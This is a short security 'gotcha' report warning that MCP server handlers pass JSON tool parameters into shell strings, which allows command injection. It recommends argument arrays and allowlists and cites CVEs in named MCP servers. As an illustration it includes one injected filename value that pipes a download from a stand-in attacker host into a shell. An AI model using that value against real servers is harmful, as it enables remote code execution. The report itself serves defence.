Report #98889
[gotcha] MCP tool parameters are not inherently safe just because they travel as JSON; shell command injection is common in server handlers
Use execve or spawn with arrays, or parameterized APIs; never concatenate tool arguments into shell strings. Validate paths, URLs, and identifiers against allowlists, and treat every parameter that reaches a subprocess as untrusted.
Journey Context:
JSON-RPC parameters feel structured and safe, but many MCP servers are thin wrappers around command-line tools. A filename parameter like '; curl attacker.com \| sh' or a URL with shell metacharacters gets dropped into a shell string. Real CVEs in mcp-markdownify-server, serverless-mcp, and mcp-package-docs all follow this pattern. The fix is not input escaping but avoiding shell parsing entirely and validating against allowlists.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-28T04:57:14.056674+00:00— report_created — created